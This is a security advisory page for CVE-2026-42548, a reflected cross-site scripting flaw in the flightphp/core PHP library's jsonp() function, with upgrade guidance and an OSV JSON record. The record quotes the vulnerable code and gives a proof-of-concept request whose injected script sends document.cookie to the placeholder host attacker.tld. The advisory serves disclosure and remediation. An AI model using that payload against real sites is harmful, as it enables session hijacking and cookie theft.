CVE-2026-42548: Flightphp/core :jsonp() Vulnerability
HIGHCVE-2026-42548 is a HIGH :jsonp() vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Flightphp/core libraries in the Packagist ecosystem. The issue involves :jsonp(). Remediation is available by upgrading affected packages to version 3.18.1.
CVE-2026-42548 at a Glance
How to Fix CVE-2026-42548
To remediate this vulnerability, upgrade all affected Flightphp/core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade flightphp/core to 3.18.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for flightphp/core
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-42548, inspect your project dependencies for Flightphp/core:
inspect dependencies for flightphp/core
Analyze the terminal output to locate any version of Flightphp/core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.18.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Flightphp/core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-42548 Affected Flightphp/core Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
flightphp/core
|
Packagist |
< 3.18.1
|
3.18.1
|
References
Frequently Asked Questions
What is CVE-2026-42548?
Which Flightphp/core versions are affected?
What version fixes CVE-2026-42548?
Is flightphp/core affected?
What CWE is associated with CVE-2026-42548?
How can I check Packagist dependencies for CVE-2026-42548?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-fcx8-ph5r-mxr4",
"modified" : "2026-05-14T20:39:53Z",
"published" : "2026-05-06T21:34:15Z",
"aliases" : [ "CVE-2026-42548" ],
"summary" : "Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp() ",
"details" : "### Summary\n`Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.\n\n### Affected code\n`flight/Engine.php` (≈ lines 1000-1013):\n\n```php\n$callback = $this->request()->query[$param];\n$this->response()\n ->status($code)\n ->header('Content-Type', 'application/javascript; charset=' . $charset)\n ->write($callback . '(' . $json . ');');\n```\n\nNo regex or identifier validation is performed before the callback is written.\n\n### Proof of concept\nGiven any route that calls `Flight::jsonp($data)`:\n\n```\nGET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//\n```\n\nReproduced response (`Content-Type: application/javascript`):\n\n```\n;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({\"ok\":true,\"msg\":\"hello\"});\n```\n\nWhen the vulnerable endpoint is loaded via `<script src=\"https://victim.tld/api?jsonp=…\">` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.\n\n### Impact\n- Reflected XSS in any application calling `Flight::jsonp()`.\n- Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.\n- Exfiltration of authenticated API responses.\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\n`_jsonp()` now validates the callback name against `^[A-Za-z_$][\\w$.]{0,127}$` before emitting it. An empty callback (no `jsonp` parameter) still behaves as before.\n\n### Credit\nDiscovered by **@Rootingg**.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "flightphp/core"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.18.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/flightphp/core/security/advisories/GHSA-fcx8-ph5r-mxr4"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42548"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/flightphp/core"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-06T21:34:15Z",
"nvd_published_at" : "2026-05-13T20:16:21Z"
}
}